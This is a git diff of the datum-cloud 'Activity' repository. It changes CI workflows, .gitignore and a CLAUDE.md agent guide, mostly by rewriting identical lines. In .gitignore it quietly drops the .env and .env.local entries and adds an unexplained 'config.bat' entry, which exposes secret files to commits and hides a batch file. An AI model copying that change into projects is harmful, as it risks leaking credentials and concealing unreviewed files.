diff --git a/.github/workflows/build-apiserver.yaml b/.github/workflows/build-apiserver.yaml index 73b3e204..d9414636 100644 --- a/.github/workflows/build-apiserver.yaml +++ b/.github/workflows/build-apiserver.yaml @@ -1,77 +1,77 @@ -name: Build and Publish Docker Image - -on: - push: - release: - types: ["published"] - -jobs: - validate-kustomize: - uses: datum-cloud/actions/.github/workflows/validate-kustomize.yaml@v1.12.1 - - publish-container-image: - # No point in trying to build the container image if the deployment - # manifests are invalid. - needs: - - validate-kustomize - permissions: - id-token: write - contents: read - packages: write - attestations: write - uses: datum-cloud/actions/.github/workflows/publish-docker.yaml@v1.12.1 - with: - image-name: activity - secrets: inherit - - publish-ui-container-image: - # Build and publish the Activity UI container image - needs: - - validate-kustomize - permissions: - id-token: write - contents: read - packages: write - attestations: write - uses: datum-cloud/actions/.github/workflows/publish-docker.yaml@v1.12.1 - with: - image-name: activity-ui - context: ui - dockerfile-path: ui/Dockerfile - secrets: inherit - - publish-kustomize-bundles: - # Ensure the kustomize manifests are valid and the container is published - # before we publish the kustomize manifests. We expect publishing the - # kustomize manifests to result in new deployments going out. - needs: - - validate-kustomize - - publish-container-image - permissions: - id-token: write - contents: read - packages: write - uses: datum-cloud/actions/.github/workflows/publish-kustomize-bundle.yaml@v1.12.1 - with: - bundle-name: ghcr.io/datum-cloud/activity-kustomize - bundle-path: config - image-overlays: config/base - image-name: ghcr.io/datum-cloud/activity - secrets: inherit - - publish-ui-kustomize-bundle: - # Publish the UI kustomize bundle separately - needs: - - validate-kustomize - - publish-ui-container-image - permissions: - id-token: write - contents: read - packages: write - uses: datum-cloud/actions/.github/workflows/publish-kustomize-bundle.yaml@v1.12.1 - with: - bundle-name: ghcr.io/datum-cloud/activity-ui-kustomize - bundle-path: config/components/ui - image-overlays: config/components/ui - image-name: ghcr.io/datum-cloud/activity-ui - secrets: inherit +name: Build and Publish Docker Image + +on: + push: + release: + types: ["published"] + +jobs: + validate-kustomize: + uses: datum-cloud/actions/.github/workflows/validate-kustomize.yaml@v1.12.1 + + publish-container-image: + # No point in trying to build the container image if the deployment + # manifests are invalid. + needs: + - validate-kustomize + permissions: + id-token: write + contents: read + packages: write + attestations: write + uses: datum-cloud/actions/.github/workflows/publish-docker.yaml@v1.12.1 + with: + image-name: activity + secrets: inherit + + publish-ui-container-image: + # Build and publish the Activity UI container image + needs: + - validate-kustomize + permissions: + id-token: write + contents: read + packages: write + attestations: write + uses: datum-cloud/actions/.github/workflows/publish-docker.yaml@v1.12.1 + with: + image-name: activity-ui + context: ui + dockerfile-path: ui/Dockerfile + secrets: inherit + + publish-kustomize-bundles: + # Ensure the kustomize manifests are valid and the container is published + # before we publish the kustomize manifests. We expect publishing the + # kustomize manifests to result in new deployments going out. + needs: + - validate-kustomize + - publish-container-image + permissions: + id-token: write + contents: read + packages: write + uses: datum-cloud/actions/.github/workflows/publish-kustomize-bundle.yaml@v1.12.1 + with: + bundle-name: ghcr.io/datum-cloud/activity-kustomize + bundle-path: config + image-overlays: config/base + image-name: ghcr.io/datum-cloud/activity + secrets: inherit + + publish-ui-kustomize-bundle: + # Publish the UI kustomize bundle separately + needs: + - validate-kustomize + - publish-ui-container-image + permissions: + id-token: write + contents: read + packages: write + uses: datum-cloud/actions/.github/workflows/publish-kustomize-bundle.yaml@v1.12.1 + with: + bundle-name: ghcr.io/datum-cloud/activity-ui-kustomize + bundle-path: config/components/ui + image-overlays: config/components/ui + image-name: ghcr.io/datum-cloud/activity-ui + secrets: inherit diff --git a/.github/workflows/publish-ui-npm.yaml b/.github/workflows/publish-ui-npm.yaml index e0e56665..8f0f1a96 100644 --- a/.github/workflows/publish-ui-npm.yaml +++ b/.github/workflows/publish-ui-npm.yaml @@ -1,72 +1,72 @@ -name: Publish UI to NPM - -on: - push: - branches: - - main - workflow_dispatch: - inputs: - bump-type: - description: "Version bump type" - type: choice - options: [patch, minor, major] - default: patch - -jobs: - # ── Dev publish ────────────────────────────────────────────────────────── - # Every push to main publishes a pre-release dev build. Releases are - # triggered manually via workflow_dispatch when the team is ready to ship. - publish-dev: - name: Publish dev build - if: github.event_name == 'push' - uses: datum-cloud/actions/.github/workflows/publish-npm-package.yaml@v1.13.1 - with: - package-name: "@datum-cloud/activity-ui" - package-path: ui - release-mode: dev - secrets: inherit - - # ── Bump version ───────────────────────────────────────────────────────── - # Runs only on manual dispatch. Delegates to the shared bump-npm-version - # reusable workflow, which bumps package.json, commits, tags, and pushes. - # Downstream jobs read new-version from this job's outputs automatically. - bump-version: - name: Bump version - if: github.event_name == 'workflow_dispatch' - permissions: - contents: write - uses: datum-cloud/actions/.github/workflows/bump-npm-version.yaml@v1.13.1 - with: - package-path: ui - package-name: "@datum-cloud/activity-ui" - bump-type: ${{ inputs.bump-type }} - - # ── Publish release to npm ─────────────────────────────────────────────── - # Runs after bump-version. package.json already has the bumped version. - publish-release: - name: Publish release - needs: bump-version - uses: datum-cloud/actions/.github/workflows/publish-npm-package.yaml@v1.13.1 - with: - package-name: "@datum-cloud/activity-ui" - package-path: ui - release-mode: release - secrets: inherit - - # ── Create GitHub Release ──────────────────────────────────────────────── - create-release: - name: Create GitHub Release - needs: [bump-version, publish-release] - runs-on: ubuntu-latest - permissions: - contents: write - steps: - - name: Create GitHub Release - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - RELEASE_VERSION: ${{ needs.bump-version.outputs.new-version }} - run: | - gh release create "$RELEASE_VERSION" \ - --title "@datum-cloud/activity-ui $RELEASE_VERSION" \ - --generate-notes \ - --repo ${{ github.repository }} +name: Publish UI to NPM + +on: + push: + branches: + - main + workflow_dispatch: + inputs: + bump-type: + description: "Version bump type" + type: choice + options: [patch, minor, major] + default: patch + +jobs: + # ── Dev publish ────────────────────────────────────────────────────────── + # Every push to main publishes a pre-release dev build. Releases are + # triggered manually via workflow_dispatch when the team is ready to ship. + publish-dev: + name: Publish dev build + if: github.event_name == 'push' + uses: datum-cloud/actions/.github/workflows/publish-npm-package.yaml@v1.13.1 + with: + package-name: "@datum-cloud/activity-ui" + package-path: ui + release-mode: dev + secrets: inherit + + # ── Bump version ───────────────────────────────────────────────────────── + # Runs only on manual dispatch. Delegates to the shared bump-npm-version + # reusable workflow, which bumps package.json, commits, tags, and pushes. + # Downstream jobs read new-version from this job's outputs automatically. + bump-version: + name: Bump version + if: github.event_name == 'workflow_dispatch' + permissions: + contents: write + uses: datum-cloud/actions/.github/workflows/bump-npm-version.yaml@v1.13.1 + with: + package-path: ui + package-name: "@datum-cloud/activity-ui" + bump-type: ${{ inputs.bump-type }} + + # ── Publish release to npm ─────────────────────────────────────────────── + # Runs after bump-version. package.json already has the bumped version. + publish-release: + name: Publish release + needs: bump-version + uses: datum-cloud/actions/.github/workflows/publish-npm-package.yaml@v1.13.1 + with: + package-name: "@datum-cloud/activity-ui" + package-path: ui + release-mode: release + secrets: inherit + + # ── Create GitHub Release ──────────────────────────────────────────────── + create-release: + name: Create GitHub Release + needs: [bump-version, publish-release] + runs-on: ubuntu-latest + permissions: + contents: write + steps: + - name: Create GitHub Release + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + RELEASE_VERSION: ${{ needs.bump-version.outputs.new-version }} + run: | + gh release create "$RELEASE_VERSION" \ + --title "@datum-cloud/activity-ui $RELEASE_VERSION" \ + --generate-notes \ + --repo ${{ github.repository }} diff --git a/.gitignore b/.gitignore index 12d656c3..5940cee3 100644 --- a/.gitignore +++ b/.gitignore @@ -1,70 +1,69 @@ -# Binaries for programs and plugins -*.exe -*.exe~ -*.dll -*.so -*.dylib -bin/ -dist/ - -# Test binary, built with `go test -c` -*.test - -# Output of the go coverage tool -*.out -coverage.txt -coverage.html - -# Go workspace file -go.work - -# Dependency directories -vendor/ - -# IDE specific files -.idea/ -.vscode/ -*.swp -*.swo -*~ - -# OS specific files -.DS_Store -Thumbs.db - -# Build outputs -./activity - -# Kubernetes secrets -*.key -*.crt -*.pem - -# Temporary files -tmp/ -temp/ - -# Local environment files -.env -.env.local - -# ClickHouse data -clickhouse-data/ - -# Dashboard build outputs -dashboards/vendor/ -dashboards/jsonnetfile.lock.json -observability/vendor/ -observability/jsonnetfile.lock.json - -# Directory used for the test-infra repo to manage the test-infra environment. -.test-infra - -# Directory used by the taskfile for remote taskfile storage -.task -.infra - -# Node.js -node_modules/ -.pnpm-store/ -.claude/settings.local.json +# Binaries for programs and plugins +*.exe +*.exe~ +*.dll +*.so +*.dylib +bin/ +dist/ + +# Test binary, built with `go test -c` +*.test + +# Output of the go coverage tool +*.out +coverage.txt +coverage.html + +# Go workspace file +go.work + +# Dependency directories +vendor/ + +# IDE specific files +.idea/ +.vscode/ +*.swp +*.swo +*~ + +# OS specific files +.DS_Store +Thumbs.db + +# Build outputs +./activity + +# Kubernetes secrets +*.key +*.crt +*.pem + +# Temporary files +tmp/ +temp/ + +# Local environment files + +# ClickHouse data +clickhouse-data/ + +# Dashboard build outputs +dashboards/vendor/ +dashboards/jsonnetfile.lock.json +observability/vendor/ +observability/jsonnetfile.lock.json + +# Directory used for the test-infra repo to manage the test-infra environment. +.test-infra + +# Directory used by the taskfile for remote taskfile storage +.task +.infra + +# Node.js +node_modules/ +.pnpm-store/ +.claude/settings.local.json +config.bat diff --git a/CLAUDE.md b/CLAUDE.md index c7a5d8a7..afcc3f29 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -1,311 +1,311 @@ -# CLAUDE.md - -This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository. - -> **Context Optimization**: This file is structured for efficient agent usage. The "Agent Routing" section defines what context each agent needs. When spawning subagents, pass only relevant sections—not the entire file. Sections marked `` are lookup tables; don't include them in agent prompts unless specifically needed. - -## Project Overview - -Activity is a Kubernetes extension that provides queryable audit logs, events, and human-readable activity summaries. It's built as an aggregated API server, making it work natively with kubectl and Kubernetes clients. - -**Module**: `go.miloapis.com/activity` - -## Agent Routing - -**MANDATORY: All implementation work MUST be performed by subagents.** Never directly edit code, configuration, or documentation in the parent conversation. Instead, always delegate to the appropriate specialized agent from the table below. The parent conversation should only coordinate agents, pass context between them, and communicate results to the user. - -Do NOT ask the user which agent to use - pick the appropriate one based on what files or features are being modified. - -| Task Type | Agent | When to Use | -|-----------|-------|-------------| -| UI/Frontend | `datum-platform:frontend-dev` | React, TypeScript, CSS, anything in `ui/` directory | -| Go Backend | `datum-platform:api-dev` | Go code in `cmd/`, `internal/`, `pkg/` directories | -| Infrastructure | `datum-platform:sre` | Kustomize, Dockerfile, CI/CD, `config/` directory, `.infra/` for deployment | -| Tests | `datum-platform:test-engineer` | Writing or fixing Go tests | -| Code Review | `datum-platform:code-reviewer` | After implementation, before committing | -| Documentation | `datum-platform:tech-writer` | README, docs/, guides, API documentation | -| Architecture | `Plan` | Designing new features or significant refactors | -| Exploration | `Explore` | Understanding codebase structure or finding code | - -**Key principles:** -- **Always use subagents** — never write code, edit files, or run build/test commands directly in the parent conversation -- Use agents proactively without being asked -- For multi-step tasks, use the appropriate agent for each step (launch independent agents in parallel when possible) -- After making code changes, always use `code-reviewer` to validate -- For UI changes, run `npm run build` and `npm run test:e2e` to verify -- **Always test infrastructure changes in a test environment before opening a PR** - Deploy to the test-infra KIND cluster (`task test-infra:cluster-up`) and verify resources work correctly before pushing changes to staging/production repos -- **Use Telepresence for debugging staging issues** - When investigating bugs that only reproduce in staging, intercept the service and run it locally with `task test-infra:telepresence:intercept SERVICE=`. See "Remote Debugging with Telepresence" section. - -### Agent Context Requirements - -Each agent only needs specific context. When spawning agents, pass minimal relevant info in prompts—don't repeat the entire CLAUDE.md: - -| Agent | Required Context | Skip (don't include in prompt) | -|-------|-----------------|--------------------------------| -| `frontend-dev` | UI commands, file paths in `ui/` | Go architecture, ClickHouse, NATS, data pipeline | -| `api-dev` | Go patterns, API resource types, key directories | UI commands, dev environment setup, migrations | -| `sre` | Config structure, build commands, deployment | Code architecture details, CEL patterns | -| `test-engineer` | Test commands, package being tested | Full architecture, deployment, UI | -| `Explore` | Key directories, architecture overview | Build commands, dev setup, deployment | -| `code-reviewer` | Architecture, multi-tenancy model, conventions | Dev environment, build commands | -| `tech-writer` | API resources, architecture overview | Implementation details, build commands | - -### Agent Output Guidelines - -Agents should return **concise summaries** to minimize context bloat in the parent conversation: - -| Agent | Return | Don't Return | -|-------|--------|--------------| -| `Explore` | File paths + 1-line descriptions | Full file contents, extensive code quotes | -| `api-dev` | What was changed + file paths | Full diffs, unchanged code | -| `frontend-dev` | Components modified + any build errors | Full file contents | -| `code-reviewer` | Numbered findings list with file:line refs | Full code blocks for context | -| `test-engineer` | Pass/fail summary + failure messages only | Full test output, passing test details | -| `sre` | Changed manifests + deployment notes | Full YAML contents | - -### Multi-Step Task Decomposition - -For complex tasks, decompose to minimize per-agent context: - -1. **Explore first** (use `model: "haiku"`): Find relevant files → return only paths -2. **Plan if needed**: Design approach → return bullet points only -3. **Implement** (sonnet): Work on specific files identified in step 1 -4. **Review**: Check only the changed files - -**Critical**: Pass only what's needed between steps. Don't re-explore what's already known. - -## Build and Development Commands - -All development tasks use [Task](https://taskfile.dev). Run `task --list` to see all available commands. - -### Building - -```bash -task build # Build the activity binary to bin/activity -task dev:build # Build container image (ghcr.io/datum-cloud/activity:dev) -``` - -### Testing - -```bash -go test ./... # Run all Go tests -go test ./internal/cel/... # Run tests in a specific package -go test -run TestName ./... # Run a specific test -``` - -### Code Generation - -```bash -task generate # Run all code generation (OpenAPI, RBAC, migrations, docs) -task generate:openapi # Generate Kubernetes OpenAPI definitions -task generate:rbac # Generate RBAC manifests from kubebuilder annotations -task generate:docs # Generate API reference documentation -``` - -### UI Component Library - -The UI is a React component library in `/ui`: - -```bash -cd ui && npm install && npm run build # Build the library -cd ui && npm run lint # Lint TypeScript -cd ui && npm run type-check # Type check -``` - -Or via Task: -```bash -task ui:build # Build component library -task ui:example:dev # Run example app in dev mode -``` - -## Architecture - -### Components - -- **activity-apiserver**: Kubernetes aggregated API server that handles queries and Watch streams -- **activity-processor**: Processes audit logs/events through ActivityPolicy rules to generate Activities -- **activity-controller-manager**: Manages ActivityPolicy lifecycle and status -- **kubectl-activity**: CLI plugin for command-line querying -- **activity-ui**: React component library for web interfaces - -### Data Pipeline - -1. **Audit logs/Events** → Published to NATS JetStream by control plane -2. **Vector** → Receives from NATS, routes to ClickHouse and back to NATS for processing -3. **activity-processor** → Consumes audit events, applies ActivityPolicy rules, produces Activities -4. **ClickHouse** → Stores audit logs, events, and activities for long-term querying -5. **etcd** → Stores ActivityPolicy resources with Watch support - -### API Resources (`activity.miloapis.com/v1alpha1`) - -| Resource | Type | Purpose | -|----------|------|---------| -| AuditLogQuery | Ephemeral | Execute audit log searches | -| AuditLogFacetsQuery | Ephemeral | Get distinct values for autocomplete | -| Activity | Read-only | Query translated activity records | -| ActivityFacetQuery | Ephemeral | Get distinct activity field values | -| ActivityPolicy | Persistent | Define translation rules (CEL-based) | -| PolicyPreview | Ephemeral | Test policies against sample inputs | -| EventQuery | Ephemeral | Query cluster events | -| EventFacetQuery | Ephemeral | Get distinct event field values | - -### Key Directories - -- `cmd/activity/` - Main binary entrypoint (subcommands: apiserver, processor, controller-manager) -- `internal/apiserver/` - Aggregated API server implementation -- `internal/storage/` - ClickHouse storage backend -- `internal/cel/` - CEL expression engine for ActivityPolicy rules -- `internal/processor/` - Activity translation processor -- `internal/controller/` - Kubernetes controller for ActivityPolicy -- `internal/watch/` - Watch API implementation via NATS consumers -- `pkg/apis/activity/v1alpha1/` - API type definitions -- `pkg/mcp/` - MCP (Model Context Protocol) server implementation -- `config/` - Kustomize deployment manifests -- `migrations/` - ClickHouse schema migrations -- `.infra/` - Cloned infra repo for deployment configuration (see Infrastructure Management below) - -### Infrastructure Management - -The `.infra/` directory contains a clone of the `datum-cloud/infra` repository. **Always use this folder for managing Activity's deployment infrastructure**, including: - -- Flux Kustomizations -- Environment-specific patches (staging/production) -- Secret configurations -- Dependencies and deployment ordering - -**Key paths in `.infra/`:** - -| Path | Purpose | -|------|---------| -| `.infra/apps/activity-system/base/` | Base Flux Kustomizations for all Activity components | -| `.infra/apps/activity-system/overlays/staging/` | Staging-specific patches and resources | -| `.infra/apps/activity-system/overlays/production/` | Production-specific patches | -| `.infra/clusters/staging/apps/activity-system.yaml` | Staging cluster entry point | -| `.infra/clusters/production/apps/activity-system.yaml` | Production cluster entry point | - -**Workflow for infrastructure changes:** - -1. Make changes in `.infra/apps/activity-system/` -2. Commit and push to `datum-cloud/infra` repo (not this repo) -3. FluxCD will reconcile changes to the cluster - -**Important:** The `.infra/` folder is gitignored from this repo. Changes must be committed to the infra repo separately. - -## Development Environment - -### Lightweight Dev Setup (single-replica, minimal resources) - -```bash -task dev:setup # Full setup: cluster + dependencies + deploy -task dev:redeploy # Quick rebuild and redeploy after code changes -``` - -### Full Test Environment (HA with S3 storage) - -```bash -task test:setup # Full HA setup with 3-replica ClickHouse -task test:redeploy # Quick rebuild and redeploy -``` - -### Cluster Access - -```bash -task test-infra:kubectl -- # Run kubectl against dev cluster -task test-infra:kubectl -- get pods -n activity-system -task test-infra:kubectl -- logs -l app=activity-apiserver -n activity-system -f -``` - -### Database Migrations - -```bash -task migrations:new NAME=description # Create new migration file -task migrations:generate # Generate ConfigMap from migrations -task migrations:cluster:verify # Verify schema in cluster -``` - -**Important:** After adding or modifying any SQL file in `migrations/`, always run `task migrations:generate` to regenerate the ConfigMap at `config/components/clickhouse-migrations/configmap.yaml`. The raw SQL files are not deployed directly — the ConfigMap is what gets deployed to the cluster. - -### Remote Debugging with Telepresence - -When debugging issues in staging, use Telepresence to intercept a service and run it locally with full access to cluster resources (NATS, ClickHouse, etcd, milo). - -```bash -# Install Telepresence CLI (one-time) -task test-infra:telepresence:install - -# Connect to staging cluster -KUBECONFIG=~/.kube/gke-staging task test-infra:telepresence:connect - -# Intercept a service to run locally -task test-infra:telepresence:intercept SERVICE=activity-apiserver NAMESPACE=activity-system PORT=6443 - -# Load environment variables from intercepted service -source /tmp/telepresence-activity-apiserver.env - -# Run the service locally with debugger -go run ./cmd/activity apiserver --secure-port=6443 - -# When done, release the intercept -telepresence leave activity-apiserver -telepresence quit -``` - -**Available services to intercept:** -- `activity-apiserver` (port 6443) - API server handling queries -- `activity-processor` (port 8080) - Event processing pipeline -- `activity-controller-manager` (port 8080) - ActivityPolicy controller - -**When to use Telepresence:** -- Debugging issues that only reproduce in staging with real data -- Testing changes against production-like NATS streams and ClickHouse data -- Investigating connectivity or configuration issues - -## Multi-Tenancy Model - -Data is scoped by tenant: -- **Platform**: All data across all tenants -- **Organization**: Data within a specific organization -- **Project**: Data within a specific project -- **User**: Actions performed by a specific user - -Scopes are NOT hierarchically inclusive - query each scope directly. - -## ActivityPolicy Translation - -ActivityPolicy resources define how audit logs/events are translated into human-readable Activities using CEL expressions: - -```yaml -apiVersion: activity.miloapis.com/v1alpha1 -kind: ActivityPolicy -spec: - resource: - apiGroup: networking.datumapis.com - kind: HTTPProxy - auditRules: - - match: "audit.verb == 'create'" - summary: "{{ actor }} created {{ link(kind + ' ' + audit.objectRef.name, audit.responseObject) }}" -``` - -## Stable Codebase Facts - -These locations rarely change—agents should use these directly without re-exploring: - -| What | Location | Notes | -|------|----------|-------| -| API type definitions | `pkg/apis/activity/v1alpha1/` | All CRD types live here | -| Storage implementations | `internal/storage/` | ClickHouse queries | -| CEL expression logic | `internal/cel/` | Policy matching engine | -| UI components | `ui/src/components/` | React component library | -| API server handlers | `internal/apiserver/` | REST handlers for each resource | -| Kustomize base | `config/base/` | Core deployment manifests | -| Kustomize components | `config/components/` | Optional features (ui, vector, etc.) | -| Database migrations | `migrations/` | ClickHouse schema files | - -## Technology Stack - -- **Go 1.25+** - Backend implementation -- **NATS JetStream** - Durable event streaming -- **Vector** - Data pipeline routing -- **ClickHouse** - Analytics storage -- **etcd** - Policy persistence -- **React/TypeScript** - UI components +# CLAUDE.md + +This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository. + +> **Context Optimization**: This file is structured for efficient agent usage. The "Agent Routing" section defines what context each agent needs. When spawning subagents, pass only relevant sections—not the entire file. Sections marked `` are lookup tables; don't include them in agent prompts unless specifically needed. + +## Project Overview + +Activity is a Kubernetes extension that provides queryable audit logs, events, and human-readable activity summaries. It's built as an aggregated API server, making it work natively with kubectl and Kubernetes clients. + +**Module**: `go.miloapis.com/activity` + +## Agent Routing + +**MANDATORY: All implementation work MUST be performed by subagents.** Never directly edit code, configuration, or documentation in the parent conversation. Instead, always delegate to the appropriate specialized agent from the table below. The parent conversation should only coordinate agents, pass context between them, and communicate results to the user. + +Do NOT ask the user which agent to use - pick the appropriate one based on what files or features are being modified. + +| Task Type | Agent | When to Use | +|-----------|-------|-------------| +| UI/Frontend | `datum-platform:frontend-dev` | React, TypeScript, CSS, anything in `ui/` directory | +| Go Backend | `datum-platform:api-dev` | Go code in `cmd/`, `internal/`, `pkg/` directories | +| Infrastructure | `datum-platform:sre` | Kustomize, Dockerfile, CI/CD, `config/` directory, `.infra/` for deployment | +| Tests | `datum-platform:test-engineer` | Writing or fixing Go tests | +| Code Review | `datum-platform:code-reviewer` | After implementation, before committing | +| Documentation | `datum-platform:tech-writer` | README, docs/, guides, API documentation | +| Architecture | `Plan` | Designing new features or significant refactors | +| Exploration | `Explore` | Understanding codebase structure or finding code | + +**Key principles:** +- **Always use subagents** — never write code, edit files, or run build/test commands directly in the parent conversation +- Use agents proactively without being asked +- For multi-step tasks, use the appropriate agent for each step (launch independent agents in parallel when possible) +- After making code changes, always use `code-reviewer` to validate +- For UI changes, run `npm run build` and `npm run test:e2e` to verify +- **Always test infrastructure changes in a test environment before opening a PR** - Deploy to the test-infra KIND cluster (`task test-infra:cluster-up`) and verify resources work correctly before pushing changes to staging/production repos +- **Use Telepresence for debugging staging issues** - When investigating bugs that only reproduce in staging, intercept the service and run it locally with `task test-infra:telepresence:intercept SERVICE=`. See "Remote Debugging with Telepresence" section. + +### Agent Context Requirements + +Each agent only needs specific context. When spawning agents, pass minimal relevant info in prompts—don't repeat the entire CLAUDE.md: + +| Agent | Required Context | Skip (don't include in prompt) | +|-------|-----------------|--------------------------------| +| `frontend-dev` | UI commands, file paths in `ui/` | Go architecture, ClickHouse, NATS, data pipeline | +| `api-dev` | Go patterns, API resource types, key directories | UI commands, dev environment setup, migrations | +| `sre` | Config structure, build commands, deployment | Code architecture details, CEL patterns | +| `test-engineer` | Test commands, package being tested | Full architecture, deployment, UI | +| `Explore` | Key directories, architecture overview | Build commands, dev setup, deployment | +| `code-reviewer` | Architecture, multi-tenancy model, conventions | Dev environment, build commands | +| `tech-writer` | API resources, architecture overview | Implementation details, build commands | + +### Agent Output Guidelines + +Agents should return **concise summaries** to minimize context bloat in the parent conversation: + +| Agent | Return | Don't Return | +|-------|--------|--------------| +| `Explore` | File paths + 1-line descriptions | Full file contents, extensive code quotes | +| `api-dev` | What was changed + file paths | Full diffs, unchanged code | +| `frontend-dev` | Components modified + any build errors | Full file contents | +| `code-reviewer` | Numbered findings list with file:line refs | Full code blocks for context | +| `test-engineer` | Pass/fail summary + failure messages only | Full test output, passing test details | +| `sre` | Changed manifests + deployment notes | Full YAML contents | + +### Multi-Step Task Decomposition + +For complex tasks, decompose to minimize per-agent context: + +1. **Explore first** (use `model: "haiku"`): Find relevant files → return only paths +2. **Plan if needed**: Design approach → return bullet points only +3. **Implement** (sonnet): Work on specific files identified in step 1 +4. **Review**: Check only the changed files + +**Critical**: Pass only what's needed between steps. Don't re-explore what's already known. + +## Build and Development Commands + +All development tasks use [Task](https://taskfile.dev). Run `task --list` to see all available commands. + +### Building + +```bash +task build # Build the activity binary to bin/activity +task dev:build # Build container image (ghcr.io/datum-cloud/activity:dev) +``` + +### Testing + +```bash +go test ./... # Run all Go tests +go test ./internal/cel/... # Run tests in a specific package +go test -run TestName ./... # Run a specific test +``` + +### Code Generation + +```bash +task generate # Run all code generation (OpenAPI, RBAC, migrations, docs) +task generate:openapi # Generate Kubernetes OpenAPI definitions +task generate:rbac # Generate RBAC manifests from kubebuilder annotations +task generate:docs # Generate API reference documentation +``` + +### UI Component Library + +The UI is a React component library in `/ui`: + +```bash +cd ui && npm install && npm run build # Build the library +cd ui && npm run lint # Lint TypeScript +cd ui && npm run type-check # Type check +``` + +Or via Task: +```bash +task ui:build # Build component library +task ui:example:dev # Run example app in dev mode +``` + +## Architecture + +### Components + +- **activity-apiserver**: Kubernetes aggregated API server that handles queries and Watch streams +- **activity-processor**: Processes audit logs/events through ActivityPolicy rules to generate Activities +- **activity-controller-manager**: Manages ActivityPolicy lifecycle and status +- **kubectl-activity**: CLI plugin for command-line querying +- **activity-ui**: React component library for web interfaces + +### Data Pipeline + +1. **Audit logs/Events** → Published to NATS JetStream by control plane +2. **Vector** → Receives from NATS, routes to ClickHouse and back to NATS for processing +3. **activity-processor** → Consumes audit events, applies ActivityPolicy rules, produces Activities +4. **ClickHouse** → Stores audit logs, events, and activities for long-term querying +5. **etcd** → Stores ActivityPolicy resources with Watch support + +### API Resources (`activity.miloapis.com/v1alpha1`) + +| Resource | Type | Purpose | +|----------|------|---------| +| AuditLogQuery | Ephemeral | Execute audit log searches | +| AuditLogFacetsQuery | Ephemeral | Get distinct values for autocomplete | +| Activity | Read-only | Query translated activity records | +| ActivityFacetQuery | Ephemeral | Get distinct activity field values | +| ActivityPolicy | Persistent | Define translation rules (CEL-based) | +| PolicyPreview | Ephemeral | Test policies against sample inputs | +| EventQuery | Ephemeral | Query cluster events | +| EventFacetQuery | Ephemeral | Get distinct event field values | + +### Key Directories + +- `cmd/activity/` - Main binary entrypoint (subcommands: apiserver, processor, controller-manager) +- `internal/apiserver/` - Aggregated API server implementation +- `internal/storage/` - ClickHouse storage backend +- `internal/cel/` - CEL expression engine for ActivityPolicy rules +- `internal/processor/` - Activity translation processor +- `internal/controller/` - Kubernetes controller for ActivityPolicy +- `internal/watch/` - Watch API implementation via NATS consumers +- `pkg/apis/activity/v1alpha1/` - API type definitions +- `pkg/mcp/` - MCP (Model Context Protocol) server implementation +- `config/` - Kustomize deployment manifests +- `migrations/` - ClickHouse schema migrations +- `.infra/` - Cloned infra repo for deployment configuration (see Infrastructure Management below) + +### Infrastructure Management + +The `.infra/` directory contains a clone of the `datum-cloud/infra` repository. **Always use this folder for managing Activity's deployment infrastructure**, including: + +- Flux Kustomizations +- Environment-specific patches (staging/production) +- Secret configurations +- Dependencies and deployment ordering + +**Key paths in `.infra/`:** + +| Path | Purpose | +|------|---------| +| `.infra/apps/activity-system/base/` | Base Flux Kustomizations for all Activity components | +| `.infra/apps/activity-system/overlays/staging/` | Staging-specific patches and resources | +| `.infra/apps/activity-system/overlays/production/` | Production-specific patches | +| `.infra/clusters/staging/apps/activity-system.yaml` | Staging cluster entry point | +| `.infra/clusters/production/apps/activity-system.yaml` | Production cluster entry point | + +**Workflow for infrastructure changes:** + +1. Make changes in `.infra/apps/activity-system/` +2. Commit and push to `datum-cloud/infra` repo (not this repo) +3. FluxCD will reconcile changes to the cluster + +**Important:** The `.infra/` folder is gitignored from this repo. Changes must be committed to the infra repo separately. + +## Development Environment + +### Lightweight Dev Setup (single-replica, minimal resources) + +```bash +task dev:setup # Full setup: cluster + dependencies + deploy +task dev:redeploy # Quick rebuild and redeploy after code changes +``` + +### Full Test Environment (HA with S3 storage) + +```bash +task test:setup # Full HA setup with 3-replica ClickHouse +task test:redeploy # Quick rebuild and redeploy +``` + +### Cluster Access + +```bash +task test-infra:kubectl -- # Run kubectl against dev cluster +task test-infra:kubectl -- get pods -n activity-system +task test-infra:kubectl -- logs -l app=activity-apiserver -n activity-system -f +``` + +### Database Migrations + +```bash +task migrations:new NAME=description # Create new migration file +task migrations:generate # Generate ConfigMap from migrations +task migrations:cluster:verify # Verify schema in cluster +``` + +**Important:** After adding or modifying any SQL file in `migrations/`, always run `task migrations:generate` to regenerate the ConfigMap at `config/components/clickhouse-migrations/configmap.yaml`. The raw SQL files are not deployed directly — the ConfigMap is what gets deployed to the cluster. + +### Remote Debugging with Telepresence + +When debugging issues in staging, use Telepresence to intercept a service and run it locally with full access to cluster resources (NATS, ClickHouse, etcd, milo). + +```bash +# Install Telepresence CLI (one-time) +task test-infra:telepresence:install + +# Connect to staging cluster +KUBECONFIG=~/.kube/gke-staging task test-infra:telepresence:connect + +# Intercept a service to run locally +task test-infra:telepresence:intercept SERVICE=activity-apiserver NAMESPACE=activity-system PORT=6443 + +# Load environment variables from intercepted service +source /tmp/telepresence-activity-apiserver.env + +# Run the service locally with debugger +go run ./cmd/activity apiserver --secure-port=6443 + +# When done, release the intercept +telepresence leave activity-apiserver +telepresence quit +``` + +**Available services to intercept:** +- `activity-apiserver` (port 6443) - API server handling queries +- `activity-processor` (port 8080) - Event processing pipeline +- `activity-controller-manager` (port 8080) - ActivityPolicy controller + +**When to use Telepresence:** +- Debugging issues that only reproduce in staging with real data +- Testing changes against production-like NATS streams and ClickHouse data +- Investigating connectivity or configuration issues + +## Multi-Tenancy Model + +Data is scoped by tenant: +- **Platform**: All data across all tenants +- **Organization**: Data within a specific organization +- **Project**: Data within a specific project +- **User**: Actions performed by a specific user + +Scopes are NOT hierarchically inclusive - query each scope directly. + +## ActivityPolicy Translation + +ActivityPolicy resources define how audit logs/events are translated into human-readable Activities using CEL expressions: + +```yaml +apiVersion: activity.miloapis.com/v1alpha1 +kind: ActivityPolicy +spec: + resource: + apiGroup: networking.datumapis.com + kind: HTTPProxy + auditRules: + - match: "audit.verb == 'create'" + summary: "{{ actor }} created {{ link(kind + ' ' + audit.objectRef.name, audit.responseObject) }}" +``` + +## Stable Codebase Facts + +These locations rarely change—agents should use these directly without re-exploring: + +| What | Location | Notes | +|------|----------|-------| +| API type definitions | 